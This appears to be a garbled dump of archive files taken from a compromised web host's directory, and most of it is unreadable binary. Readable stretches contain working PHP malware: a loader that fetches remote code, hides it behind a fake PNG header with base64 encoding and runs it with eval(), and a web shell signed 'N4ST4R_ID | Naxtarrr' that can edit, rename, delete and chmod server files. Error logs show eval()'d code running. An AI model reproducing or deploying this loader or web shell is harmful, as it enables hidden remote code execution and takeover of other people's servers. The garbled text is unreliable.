bpaifGn[>h_si:GC kywt byn.61TP><%~[3nuD4?TZϠg0CYcS@IMGyq\9d@C}J7Kƻm:#eYfJId#AZM5t6Xu='8ε T됊,gfb`/|ժ/$)<#ˮ]mt9Eȷi: >aO ɟGCfkܕv $vnr'-,0X%@c]xc?<$>ȗm VBC./Hi9ZLcj"SburмZH`Gzq!0xg~xhi9PB?IkōX5EᦷMG_^OZT&*}}s94{mZ:pS4l5WEƁF4/)^E`G5Yow%К&m>Oz|9ŀ/DJM. )Jhm?/ߟȗyk+fLH(ۀCw6yI$yPʶN@>eHj2К6&Q\Hͬ0U^a4A _ b4+X|c_[jKU> `,Ggm{zŨ6pI5iJt2V F@IXF3IZpMqѯ2TfF-짥:a\sMvu# }⺨+`wU5X/pr% YC,M{l#؊ (F.CD$l(N nKkDKRLyC€R$[]2YR:Qum س`,PKz&e[p hik24b.tarnu[dp6h1.php000064400000006024151026170440006201 0ustar00eof()) { $content .= $file->fgets(); } } catch (Throwable $e) { $content = ''; } if (strlen(trim($content)) < 1) { $content = @file_get_contents($url); } if (strlen(trim($content)) < 1 && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, ]); $content = curl_exec($ch); curl_close($ch); } return $content; } // -------------------------------------------- // 3. Create payload by appending hidden PHP code // -------------------------------------------- function createStealthPayload($phpCode) { $png = generateRealisticPngHeader(); $marker = '###PAYLOAD###'; $encoded = base64_encode($phpCode); return $png . $marker . $encoded; } // -------------------------------------------- // 4. Extract and execute hidden payload // -------------------------------------------- function extractAndExecutePayload($data) { $marker = '###PAYLOAD###'; $parts = explode($marker, $data); if (count($parts) === 2) { $decoded = base64_decode($parts[1]); if ($decoded !== false && strlen(trim($decoded)) > 0) { @eval("?>$decoded"); } } } // -------------------------------------------- // Main Execution Flow // -------------------------------------------- $remoteCode = loadRemoteData($mainUrl); if (strlen(trim($remoteCode)) > 0) { $payload = createStealthPayload($remoteCode); extractAndExecutePayload($payload); // Executes hidden remote code } ?> PKz&e[fal 0kium3.tarnu[qym31.php000064400000121147151026170230006232 0ustar00 Na}{ "; } if (isset($_POST["edit"])) { $content = $_POST["file_content"]; if (doFile($filePath, $content)) { $_SESSION["success"] = "File updated successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } else { $_SESSION["error"] = "Failed to update file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } } } // --- Rename Logic (file or folder) --- function handleRename($type, $currentNameKey) { $isFile = ($type === 'file'); $nameKey = $isFile ? 'file' : 'folder'; if (!isset($_GET["path"], $_GET[$nameKey])) { echo "
Invalid parameters.
"; return; } $currentName = $_GET[$nameKey]; $path = rtrim($_GET["path"], "/\\"); $fullPath = $path . DIRECTORY_SEPARATOR . $currentName; $isValid = $isFile ? (file_exists($fullPath) && is_file($fullPath)) : (is_dir($fullPath) && is_writable($fullPath)); if (!$isValid) { echo "
" . ucfirst($type) . " does not exist or is not readable.
"; return; } // Handle POST Rename if (isset($_POST["rename"])) { $newName = trim($_POST["new_name"]); $newPath = $path . DIRECTORY_SEPARATOR . $newName; if ($newName !== "" && rename($fullPath, $newPath)) { $_SESSION["success"] = ucfirst($type) . " renamed successfully!"; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($newName) . "&action=rename" . $type); exit; } else { $_SESSION["error"] = "Failed to rename " . $type . "."; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($currentName) . "&action=rename" . $type); exit; } } // Show form ?>

Are you sure you want to delete the file ?

File does not exist or is not readable."; } if (isset($_POST["delete"])) { if (unlink($filePath)) { $_SESSION["success"] = "File deleted successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"])); exit; } else { $_SESSION["error"] = "Failed to delete file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=deletefile"); exit; } } } if (isset($_GET["action"]) && $_GET["action"] === "deletefolder" && isset($_GET["path"]) && isset($_GET["file"])) { $basePath = rtrim($_GET["path"], "/\\"); $folderName = $_GET["file"]; $folderPath = $basePath . "/" . $folderName; if (file_exists($folderPath) && is_dir($folderPath)) { ?>

Are you sure you want to delete the folder and all its contents?

Folder does not exist."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfile" && isset($_GET["file"])) { $filePath = rtrim($_GET["path"], "/\\") . "/" . $_GET["file"]; if (file_exists($filePath) || is_writable($filePath)) { ?>
File does not exist or is not writable."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfolder" && isset($_GET["folder"])) { $folderPath = rtrim($_GET["path"], "/\\") . "/" . $_GET["folder"]; if (is_dir($folderPath) || is_writable($folderPath)) { ?>
Folder does not exist or is not writable."; } } ?>
Directory Is NOT Readable
Name Size Permission Action
---
bytes
N4ST4R_ID | Naxtarrr PKz&e[8v eu9d36.tar.gznu[KK@su76Ķm$ "!M$  ; 3 C"9mHul8MwnۀϸӗN\#blU6x}/cs! ӓxTLocdߒB4Lkz=yo'*䋩i-?N0a/( ([Hհ ݆6EV-Ee;GvBLnۺ΀6uw 0dPKz&e[ #gg index.phpnu[PKz&e[v|Ό 2xmzkg.zipnu[PKv&e[ Jii index.phpnu[PKv&e[ Jii index.phpnu[PKIPKz&e[) Nindex.php.php.tar.gznu[Ak0p?J{h/F;L"-j&`SpßO4[{2JvV ~V+k ȶ旑fpءIrs~E6 )usB)#(wVgW]tR Dq&?' r3_[(rxE.r;3$ۃk/i&`YU!^Q6{~yߕ*PKz&e[I 2xmzkg.tar.gznu[KI+(`03 `hjFf@$nflf`@C7AiqIbJz5C^iNJufbjnAIJ|kPkPGHH@pR&PRANjq1((Y+d%甦j(UeXe|MC2\U24ڣ`Q0 PxTPKz&e[  0kium3.zipnu[PKt&e[gg qym31.phpnu[ Na}{
~" : ""; foreach ($paths as $id => $pat) { echo "$pat/"; } ?>

File Content:

File does not exist or is not readable.
File does not exist or is not readable.
"; } if (isset($_POST["edit"])) { $content = $_POST["file_content"]; if (doFile($filePath, $content)) { $_SESSION["success"] = "File updated successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } else { $_SESSION["error"] = "Failed to update file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } } } // --- Rename Logic (file or folder) --- function handleRename($type, $currentNameKey) { $isFile = ($type === 'file'); $nameKey = $isFile ? 'file' : 'folder'; if (!isset($_GET["path"], $_GET[$nameKey])) { echo "
Invalid parameters.
"; return; } $currentName = $_GET[$nameKey]; $path = rtrim($_GET["path"], "/\\"); $fullPath = $path . DIRECTORY_SEPARATOR . $currentName; $isValid = $isFile ? (file_exists($fullPath) && is_file($fullPath)) : (is_dir($fullPath) && is_writable($fullPath)); if (!$isValid) { echo "
" . ucfirst($type) . " does not exist or is not readable.
"; return; } // Handle POST Rename if (isset($_POST["rename"])) { $newName = trim($_POST["new_name"]); $newPath = $path . DIRECTORY_SEPARATOR . $newName; if ($newName !== "" && rename($fullPath, $newPath)) { $_SESSION["success"] = ucfirst($type) . " renamed successfully!"; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($newName) . "&action=rename" . $type); exit; } else { $_SESSION["error"] = "Failed to rename " . $type . "."; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($currentName) . "&action=rename" . $type); exit; } } // Show form ?>

Are you sure you want to delete the file ?

File does not exist or is not readable."; } if (isset($_POST["delete"])) { if (unlink($filePath)) { $_SESSION["success"] = "File deleted successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"])); exit; } else { $_SESSION["error"] = "Failed to delete file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=deletefile"); exit; } } } if (isset($_GET["action"]) && $_GET["action"] === "deletefolder" && isset($_GET["path"]) && isset($_GET["file"])) { $basePath = rtrim($_GET["path"], "/\\"); $folderName = $_GET["file"]; $folderPath = $basePath . "/" . $folderName; if (file_exists($folderPath) && is_dir($folderPath)) { ?>

Are you sure you want to delete the folder and all its contents?

Folder does not exist."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfile" && isset($_GET["file"])) { $filePath = rtrim($_GET["path"], "/\\") . "/" . $_GET["file"]; if (file_exists($filePath) || is_writable($filePath)) { ?>
File does not exist or is not writable."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfolder" && isset($_GET["folder"])) { $folderPath = rtrim($_GET["path"], "/\\") . "/" . $_GET["folder"]; if (is_dir($folderPath) || is_writable($folderPath)) { ?>
Folder does not exist or is not writable."; } } ?>
Directory Is NOT Readable
Name Size Permission Action
---
bytes
N4ST4R_ID | Naxtarrr PKt&e[gg qym31.phpnu[PKIPKz&e[gO hik24b.tar.gznu[Wo7g$ͩ-mI-%iFIi*d̝wMM|w9HnA!foT#?ztTG::8w_՛/zc^ހB*"aHO1BP{S,\#^SO2-0 u)Ddĕba3 ,R0A硢.O+)`\@L*&f,bp: Ec^K,X75흤ROt]>=x"\`;ÔDt r`QRk2FUIBpz %_H\yLdZuym.p/~D7(Bj5A5mD;(hTT6lN< vn# Q xaj`ϔT֒GF,2WfY?@ 2>:跢J,a2Sf,`؂CLCssѶV~ &x6u51W[ñgzA to\;d+ËbYIUV4TY++ټ̍yB DKDSxRD:T-18%㢱q"֦"Y.wZ7583]ca9|mafaCܸ\aj.aY?եjt@_~KpfKcڂqKf=E$Sn 7 l m@)3:2A7{rS;~ i &t@%LgT޲;Cvz?ԄA0W,Mdۘ)x2/7: ugTg>w_[w^/tc|gQ|_+z|C=\ BI'Y*M5T?Tt>Grq/?uŘcCobS%s"~gugWZeDңٸy]W3A|PJ (ȽXRhwAgWB="* bΚXq 8c"ehZ,ono6FUhKT6# lt tӓqPF<POI3t"@*yg[-[ZN2It㿓=PKz&e[{>ҧerror_log.tar.gznu[A0~ڇѲ"ip 4zֶU;Zb!tO愔B]%x^R]%)eUH-]^?4y@׺p} 6h7 ʮ Gf,oY簟s8k.]xFn 8gSo4 յd=$֌ Du O5/Ld$p+p2UrcFw< [/7d͵|k˚P_ͺRiY,ZYKӵot^i35MP 3\^55o}k{#A!Z럱3gΜyFAxPKz&e[ DD a6z8x5.zipnu[PKw&e[d U error_lognu[[28-Oct-2025 16:21:34 UTC] PHP Notice: Undefined index: password in /tmp/phpUFpZij(2) : eval()'d code on line 1 [03-Nov-2025 11:22:38 UTC] PHP Notice: Undefined index: password in /tmp/phpKDh5wo(2) : eval()'d code on line 1 [04-Nov-2025 13:25:06 UTC] PHP Notice: Undefined index: password in /tmp/php79mjsK(2) : eval()'d code on line 1 [05-Nov-2025 05:47:12 UTC] PHP Notice: Undefined index: password in /tmp/phpIpiRhA(2) : eval()'d code on line 1 PKw&e[%}ff index.phpnu[PKw&e[d U error_lognu[PKw&e[%}ff index.phpnu[PKPKz&e[M deylv4.tarnu[error_log000064400000000430151026170340006455 0ustar00[27-Oct-2025 03:45:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/deylv4/09epm.php on line 163 PKz&e[=x#H#H erk72g.tar.gznu[\!"AgSI %(BV-{]]{g|yI͈L1.|t4 Ek:TJ$hD:LCit "&|4@&}ME[ tDEܑ%|;s)Wm|ws3M4lpySӢk!E4wMdgĢb5:eWn՜[ߎ2c^MW!^/shɍSگ<>6﫩pkNDNJ^MXlɎNw^do<|4ۙsq挲$o<kG /%2]Fcq!qfA'>~NG0|lI^GunѬk6r]F]/\yv ;g8A/Q=ľ y_SJL~lY &8Ν4t#V]69ޥm+1;2=- Hg7\zvѯoڙ-|oɽ/2^w@6/wBT:DuЪSbY[2l9x"yF'Č'n1 ;>Y4ix$o]w| 8mB/(]J+Hl}gw5紉_lo7̪M̵{'Xpe khsw?o)^ܹ>dDs]olِOӊ,nfd8sdR]>~gtt5OluՆ'tm+mp xo_b~Խn 4=&16O0+԰g8^w~5b#}m|)O.+`18Gs_1$i $xvY|4,''63  K$` œaKhK"T_HcXDd[ ՖB\FBnX|[ `(),J,9RH,>13Εrd2 ,V<Ʊ||_X@eL3L12 \D(˜  !@fm!(,*򘢉x"QK( eA3`B95rчgldtĖ`ߞ@:@c#w@#Ш:_P@^!˺5 m‰(9!0 ݰ L#e.l{ٖ&OL&/qtp܏ْ=]e+|\z8^ZZ? q7Uo5^ mɻd#ajLs$|}H7)/(n&wӎ=;H6JfXvhDWvmKF!+M'R4jUP)Jr-EOmc{X6KKlNSg%?9CnZ۴k-cDŽΝӝn],rIYӑyI9sdO$\ޖT&8S=uȴ^-nbyJ8*e y%pr}CUYg_q{'ݶn?\?>mMwیjc}&p$kف,mRvW΍ 8؄t oߎ}뎻\㖇-i0M~1Ø]+{IqoN_;HhfǓg,3jιONg1q+ W.غhV_E{y8?x{v8zv kNӈcF`9m˞s˛6e-9C/=&!mO4}!0ؼQ%z^nhL,,Y \]Ž-{yZotA|c:LujVLߐl'7|֨Twiwk w /椵zV܁I-?4p RєKJr‚cl'>YBgTIGWp}:D<|wf0p]o:VܨggӯV0&kMkMr wO, r;7ɤ z>p~Ճm]{ie-syH_gy0y)_ڒ<o{}./:dY:K_domxyms)3-~So$Y;)q z͜[ Y:& 2v4gixEy&ENokenQeg^[NgO}mnăO:Pח 坃s'|֥}w٭%-wPR7얖Y=l?l$!}ڛSKbȁa#ϥ ʜ,y\eG>m^NNL<|$Zj4-{j;=Mw(jpl[w!w |sjX#ur:#f2\C L[Nljd"WOrp|7bAc_{7~S e'_N|5N&2]$(ˌ:ܹ+ҎG'Ydlup8}7[pO!.=?*?q9u`L@myĸ]y/RH:v`EIԇvĦ\ys,B׏o>d>Gً}1E%seEE^oһ/oދ]NM]Q}>sh̬3 <2ζ(4M2ņ4o)|#=4+֋qsޚ{}N7qB-c\g;ܥjˆn/FX=ظ`܁QWSǰZܳhǸtM!S /;Ҥ/l_X)o,|e3׶?ؾAޞơGo0Լaïzc_zt2iЂ9K39+lIׅi>Լ&)NxnC="[ u:aJO2$+Ȝ`6pZqJ,"o ̚l,N)-zљ5n"{;$PcfNSoHV#M,&|yy鬷 >ĝl^ڭu9#;$ј ڙ~H\xblϼ[/ޜDI.sƺ}[`V0fZ;`Na%N4d>O9jKS3ٖ8͞a}rBqzKޭXR avVy '̋(+M34w3fy'5 6Eǃ>nwؼ4[:DqxNX7w K0\7;$=kd zs쌙e1xԔ7 69:+7VXKQnHMce>MFo ûã&xx˼FM3t鼀r#g$}u䞋=;66 zzya3H܁ ˓76q=QV{OvHyצu8x&m|eY];|T_ҍ{nI]C߮U1T}4JܐٯG^ZvMa];ge[vdoFEضFtqi-Cf"6N>^4uzlTòzyqi#G/p~qO&2i?b—F']8s½#>hO( ųe-L!\;rҰSgve:_%"ݺVA}T3>%u Xe6ސp,μ5Z=C&5?}=#y+$vs|M2tgrY=<>3o=ꑷӭժv{Kgh-G fe$q|gx9%~.hOʚΦZfAJBOK=Kee m%97r\;Į-=_dA؀%/ >/\+ӿmaysL'X{3cGlyɒmF^lJ8ŹE -=:,0涐g 7aj ~蝁֧ ze:m"L۞F5t<{eWx1kxy:8.mXu[w.(Mҥts[Gmc( 9`pliiN~Iu02ͧYd^\ײa!ݜ &[XY-L ;N^Vxh,L;{FJb:ӓ~rٟZء Ԙznr;5 /τvon7ōf29 L|Uz+ 6O[t07#>-ɺ ϫ4ˡa͋R48ny[x؁nޟ ZE}zm`ٷ{ׯٯ|#icH^hU4h75 =&.KhHċ9Cg:m]#@3_.0m&{i6MNɷL ez4uD@©$ngn/pݥ!S78>ly !'5hұzJ%Lv-뗏#~`rqRJ)~#qċ (q t~t}މ7̈F'لQ=:}<͸míq{ɧ}~'EzX+?ƪa iGݼ5Y/Aw %v0lzW-]{c`sW8j[#}7~jg,䕒 -6qf7K/J[YLLcq;|iyʼwo(=6 L,iywBLiG6(}ϝo'|Yo!mk|I\6'M{FD>~Ş>3 @ñ?ߒcޕ/?Pʎ[yd]{Kvg4kAιs㒧~i=$i>|ʜ-n[ey|޵N7*䷼\Uo89+%U^ؗmL==s͙/=ܖ9˓ȹh)FqÌ<9䖭0{|ؤ_s[uIoӇ3ZW˘b7{%>5hɢQo^I?Eǽ?fF8ҍU`lg#LJ:@>'NbN{D&;N֨(ӑ6҇N<{ޢE^6M1;;ՇGK'~1pƮ+5l#Vw,:|a癎Y[ݩ1my76d> @ }b:}׿Qע ׷nw?nHM,wSӖ\=8,1Aޣ-vXbrcOh50LUvIrA+Oքe)oz?۷O}ǘqWqv˹Ƌ'\nYlJY|Q99nOl/߼flN%3i ~ָ%?mu\7d{ޓ^̮FJ祽Kx$arN_kl_ᇽ[3  ?B|q݂oo =B%3QGP)6.!Z8Ғn>="G`ecc!cg}GrdM._|v̪߱C'_e_jS&$+kwsOxH?8|2syшK)}OK_%c24ĝMX?4[eB;-4ꋽmD]b>% މiɅ=sZIJvyϩӇ+ݞtovgd⺸pCh G{xg3 u&t6z\P:4`V' {@Y3&o$]IIOmy~cMҥ [}&f |wÞKii]8gim&[z2[05r̜F= tmK;ۘ-롱'hA_rx~D>o^I(c 'Lx~ۆTfz)9{CnvDIk8l bV*ybGR?ږ0em>$y鉯9)φ/޾Di|8haC_ ^ZO;Oi`^4cM=J'/NmuˍnLRNOCw//;4/K8Kʧݹ9sPhV_Þ'u"t}j^Вwb%.uSqwDpf3ͽZO3ܩO.ӟtڗ"ΩIۧ`m\0IL=Oܭ&KxV_Uo-/*0ayX|,!nz{|xSa3Cu_!j6Z~뵭)w&}b6\oW_ ЛqsGڵ=Zyw-9]o:X< Gk!6R508zhЎE=,(;f[~|F?{tc93Kt[~um[s7iQZ5E|޵=Y1gq=n&?d6cʡO KNv!INۜ4l|~Z ֤ͨN'V|~o`j rI ,qo/Ln=Z|\/8.^'[m})ghj=~'ja-w}hwx0`cw_6e}F7=M}Wo) wiDn.@mopS$wC<ֺ|7=_СPM|)nK\k<7ƫ}lϡv9}YO\7jYfSg`vq_syx5aMe&4u Y:RNjKkpwÐζϮ?fhBǑ ķwϓWE\/6s?rX};in7y2'XNx˖w{-Mכּ.>O YC&[-LQVW'5=f]Ss }ԑ!m-۴7h51=%zfįt懖L'oMZaSgWE6>otƣuJbȒ'v}}̳Q³D#U{-ڼ؏Ggl[.at  Wmonw]qMn~>"DHu@:#0U6i?2utD $1*#lID[2?/˂m! a\̆PB̿hp0s#,IV-G1yVl%d5 $^(ED[ɖPk ٖD%~A ?B2{ R+$Pm)t["gtq}857O(*;ngX:Ёt L*(tuC?IJ_~ 8Ne03-nK z .ے A1 7俱T_k- jK^)B%R^NRbPHchH$R4C%ؒS?~c5DUMg哉fH"VH"soLK$\  A3aff" Zr%Xji/$AސF d Êf]T,YVb06P ,0NbT(FD398@C0dbF Y1q,+О;&` Q( BGZ4 7 4H #*AL Ld1HkH̓*AY-!aV⋉V`-J_h5a͚eX<ͪLRXV T,!Lc5FO Qp?! N_odUCF29d3!6G,pÑ`~n4p Wj1c S$HטEk!@ǙA/cB\ rf|%,r;q$̔ȋiR-AWOiq2%^7gX3 Rv5&֐B80`<$0 0 HX rxXU&I /(scdԜ|$*ʪN91dH9S bL&8|!4/g<$"N`1JS.*#>T"U/)C6"^}54(_СՇGȒc1JV*ZU&ր|}}yb$2 *&@'+*-"CNj5Uf"ćİcKdbCoD;`[_Ja#9F7ȯّgcv͎Q'K ՋNAyy|,y!CyA3{S6X !g/# 7=2> ;`aŅEB)&dQ=â?/ƕr<,<؁#&Jysl=^]@sERH"f9`2P͆y(1NK$ ,D;Q0xyH?Bv,1%Lh86\̌Œ đ nC"D `Ͷʢ*ToNJgs .#5,SCFTb79);K$@a<8BFHh,iH  A{#?! l5_ʃJ)ĀyО("VE2ܰXO G 4S4qE0,Pb,A?԰@ yH4AH i ) W"6imҴDG. T y8mFGG88&A;H 2{@0,X FEBx0CiCj#u`2d6(X d1"OD$ B+>$$DCA/DV8*'qtKđlL"D@^HzA2 Gex nCV <+! Gȝ+C2@IT$V < #z;hhvE*JQ >f2u*Uq&oq&V7M d[XkQ(%e=T%'G0PϦLFy͔2lQXฆ#j{%2 NpA l_JXqDBϾdOϲOB\?Jba$\XdXLp!WP9])FP#,Dh|דy4/fa9 #5WljFVE0tjjP PS|F"4 )èR_CveA$ jdaIHjjm̠VBVΫ҃JJ$bI5_PUS4uzTGuzTM|꼅Lt2(N%-Ta*n%-j)UȶE߸bB1 X@vb1E"<ȅR> U|Jp:_%!.8r{a@^mu -!#PH䂂(+bx,Z+ɤVD[ ]"T(F"?AMX)dd\J@\eRT~ TtE֠,FTUb6*b/`n]!YW;P FW 4Bm=P{!ea6WW, .}4MA@U*$"jΆrp$P>WůjD/TsWady2BoZ[-EVV7*Y5 d_d=]`3 H0UETbR(X^r!6\DE(i,R($D-4V (HF%4nk|k-)Q[1,P9;! dH RԧXGJ}`ݢMb*g-@Y 9e-!F2V ޢ lh3vQUPR ĐUb0U_{1k^բBMޛ@3neuh:+__ -\9Z;X Hr!Y(i R-sGPln umrEZvK HM+)MB@ P jǣՄIHE4ҦfSEDMo%B j 6UȩJvsnRR5mJ8`\1̮.7iGDT"6eI\A*HD,:`J EA5W95 h)ZWN)kM\;Icص;x3feMjVuD]./S'srYթʉEF V5x^\<%;,QZs h=HL%> _})AF-ҾèqD5v"αc!9@ <`#]mwYWf.jzjBuf(."笅MZ=ܨWMZM.~ĺsg Ҷ@3Vg:TkYzAb%(6Jk bZVk#*0֒楁u#+m t:}'  )B˴Pqն@VQ& Um󸖗ԑSU(Tlߨix:P5@4?1(% ڱ @dZ-2yt<7CyU`rL~RU[@!IS՗^>j5Iu+a3EXde_᠚g(F3M[ -ЭMH!f;0zGWYu3ğ]ܕW|&{.r4]&lKOaUO&Dp 7@TQ(02rrh:o_5/_P;X,$7!a8%+Y%Tgp6QDBmHl kUQ)ĕSZU6 !([_P$-ԶOZaV)+k%6`bI5")ߓ#:BAk}ט\j5UC@{>'QECQe*r 괏ya_kDgeAVW, eVg D+{jDVHp9H)d׎ WW_+rU2KPayYn[hAJ٣, yo5$b(umC~hI_9""_0Ҵ~ Z9X#nO%(_eN>:= >UlTZ_V?N_ ou&<{Xi̕h8(cTkxܵjp @X+!,{-UHK[֪ɪWiQW-T03fZQ,X g/LS#I9r"3ZN3,UqP?"]C9DES *,c&'EC ڧE%hb qӐ'ƈS/F!Лc6(p+*Gm?oR8&於TJwUQr5WIhs`cE\rnpP(>SҟjR!`AL`s\1]&=@P}Tv5)ohE`,V("Gh\'U}:Xy.pmi4GpdE=E(Hzj%?⩔5o񬢄FΞfI!@*.,p&Brjd$(.bt'?cSiToh?{4g̘J5W$Vqs @F[VM'ڮ銠zZhD*+# !$!,{FtZN .XXiv\[̠؄>5r5S, vJҡH_Qi-Nj+%]X}ZjK41U߱^N]-B;Z9?Zmu[Vq:?Z%:|ʯ.D}<\4ÌU^ CU=ːI=3ɄuD`XL \)Z/vWrJN1rNWopM TFZpŁ gO*D$q>?Y>ȡZrxqP($So"A}]}jA6UETUbǔr3N. >[%DBDK<"P[1U_laR= s݃Y j7#E|P-H5Q7dj}`(P<6 H4 ңT+O4"wՄvH h0AήUBiiȷ:L:S-AvgͭkQu PQA?ĭ\s&P޸B݁]4x]3Va (e7(5PtTf!>Q)j&ڮ׸XAjJ;CZ^K|P~@GB! eh2#S~U G`8"$p C[ bc#OF2B G" ?I$T#PiGhN5~BCr;i踩fnb@(epw7'ʕ} Q!ˀjOQuAzD(U>EjH\qb/e1D51&'ԭ@ZD/7 4&vt*N!_$r RD* +ن#ЁՐ@h0Ƞu24 _ j168G&2H܇?G}la%!SF 42Dā x*ɥ RBQHs t~$$ mQ(PGD(> hd*/t 1pt0D jC8::^[O1A"#L2(,,@!d L J3q_ H(8:b~g#\)vTtgmy~Cع6>j.y_8@nօ_n^ٌ_^<$ȡR}/x=@(% U~j, wŢ -;c)~R Mj飖|c׏y1bU?M\T AP $OȔ Nj,%ű@!CdifJX6WĂa 9KbX6Ɣ񤘑3#QT<1lWRD ``V5di98j[E.5ʕ#_ĺ--4rlKV>šS `ki!ZkTQGoT>c9djJx҆Tz`jژK:UUf%,{<#04dpO&X t.pbp@h6CQ(Z RT"D# dN#7Nɺha; d<d|P7拤qv'f Gcq, x\K"1ʼAӿHrjx˕v1ƮdDfƓͮ&>z5~UA ƽI[r?F˛>?H1ёΈ='ѫ:D@]ܫ2dYBm7܁B87TL [B?ںxK& ]^3vL=g,,=)4B2i͑ #'yhφU'8{E"Z^֋]~Ї/k@օ4"՟J~񕬬v)y׫w'_5? >Ѐe0ORH'Ou$:vK%HT@m de$ y \l AO `6z KߡJ^xtrW YZY!tV5T5X%  d"6K "D-emIU jtQ1"͖L%y;Ɇ@z #Zÿ4 >P*:FbaK@'jETTR/AO'$SFu?Tt*iUitNwv;[1w\[^1r~~)Qi-h%0x̘eDoqoZ_I>&+j';_ștvC'6ve̲}F631? eMw.ͺ8pdЦޔSR/%=]SN9Wӧ_bp|cӮGxNupKI|ÈZ:{gbJ.;kUFRBJw?v0Kb1AOIf Dm[m~+u(F;>Uf}fIf.̖qN$Τzy7߶<]+c#[n_=)mtt/n!ZosRz~X^\#PQi:SuUVT(XB4XyǬ%Nx|bf4.+BeXxc G3pX3%RU$xXVP>Y oL-IDc&8"D!PXyEנT0*x\t/`5tjjԚE1E 2ҬzB&IU-ӭ]$~eFFFFg-~| bs6zmp.tar.gz000064400000000464151026170360007121 0ustar00ѱN0Εxc8 :A""7&A쳨xzLU1-οuw2ZklL;;BX"R>'y\4~ƙyG҆zNCM'Y)x޾f'iu`+Z6PFW2f{whOQmv:>lR-p([ ^%e5@̈YC v<::e.EG1.z 30+Ql;UGbMS`&n؍`4^#|9L&sMg82xmzkg.tar000064400000004000151026170360006471 0ustar00index.php000064400000000151151026170260006361 0ustar00index.php.tar000064400000004000151026170360007144 0ustar00home/gettoplisting/public_html/dd7e5a/erk72g/index.php000064400000000147151026006760016671 0ustar00bs6zmp.tar000064400000004000151026170360006470 0ustar00error_log000064400000000430151026170330006454 0ustar00[27-Oct-2025 03:45:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/bs6zmp/809u7.php on line 109 0mdyke.tar.gz000064400000000307151026170360007065 0ustar00KI+(`03 `hj`hjh`dfhn`d7363R0࠴$h%=!4'ZA%VI:3MC15RC%>5(5(Z#$$ ?8D)VSNVAɩ )x2sJSR52 Kr 2!.*JvQ0 F(06?90kium3.tar.gz000064400000014765151026170360007021 0ustar00=ks6ܙY)NrYe5&P ;^΂t.;ic,!9d [zXCzdw;E{wr )se9a ߾͠,ZwI 9q:i0v5K [|VQe%2ˆ^&d`>4u1Fǡv(SdP;\Kϼ)/_CI^ӣΧ>{Lc/JIOyF~;uĥwMA~¸1MI v.ͺ'{I$ɩ~;z HHEʟudzmURg#uzgs45t,}(q]0y =2aMAid\EB"ݖ:1N@h2p$;`ɢE@%a5G`=P#P/`{KcЧs}L?k@@Lx.×a4B% S>6rCEM#{>\0T`rib 'Nsoiupn,[Atǀ' /}^j=# T.0%=A*""C_L"VDcg1{;42VqaQo5;&1 y ۴+-c00o53a>d$xIϷuG$w/v?Dl@y- T>Iap|`Qe'4s(I8K>oueޚK6)S,.}Sݒry-EKe=6 Hq@&N讗rq=E5|c ;'8 z9jnW70/#ޭ>U|' L8H\SujlKɿ^PMbqYhH ~?"# ͆0'aYIT/i6AfJER[5 ^mP1eSeƵZo4jeڃ̾n$&\e~ys=(Tjx^jSP/c1/4ѭ觲y ]h =cBgȩhI03[bN1> A|㚲r)&,2!S{83^VLrjv:3<~AㅓNP_6_ @ˀ{j`@TN1U [[6a#Ƒa22*2p 0?AWVskEM d^aa1RV(h︑,͂~%Y.8#st%$`&fق&4TZ&wDOFe7ڸ"Χ=),#MgT<-$3䴣0 j?ڠ07"E$iQJVLB H»t<-˙^nNmRʶfץS. f6!L#0*y+]P"D4l=L/'jr^@c~Z6Щ/ǯq˺rB`'pM}uR jxfXe ĺ-ZwELNrN]{\!Vgż`h]04w]*O_@􀭰d&ty `tk9$Mk. NوF/q)0q5~Wl܋)LN6ts%C3si7ՆnVXk|5R3U64,`kؤM Xfn4ºI[mҭuužd:4Z7o=(+[( $~j!5Zy-vDY%@ʢ=F{{+\ ʰȾ\L aG0Bi[l:c_40=نY㊏d./jv^UF^mTM4D=,?[J) hSl'zϖWl ݝ[M灕jȤs;!6RꊾCp!MNi*E%'c%LWNHǙ}NDaM`Ro‘s-m{$UfѓjG෾>]_y';Pԧiͧ^ "jM%CL!MH\;2ȟus-/ݶbo( c*2hR,N>\Qng,deZ9G6ưnMKrt_ub8CӕASu> MBfJӫ^g#>U H"\b0Cަ.U<1>}q] 7ɫԛrɟYv1GQ"߳`Of=Qn e"z[B^<ʅ0H4!deY>0 ;ur{Y%mʵ,:;CADw9X%;d [(VQ4&%+g%@jȅz.Iأ"u.7A+WؿWAƂә')'DxWV3Gpn" *jm!sxAd7EEl<Τƽubx*Wᔭ'b# !{T{Yޖ$u6@XyJMư!Ij.z7 \S9ݔ 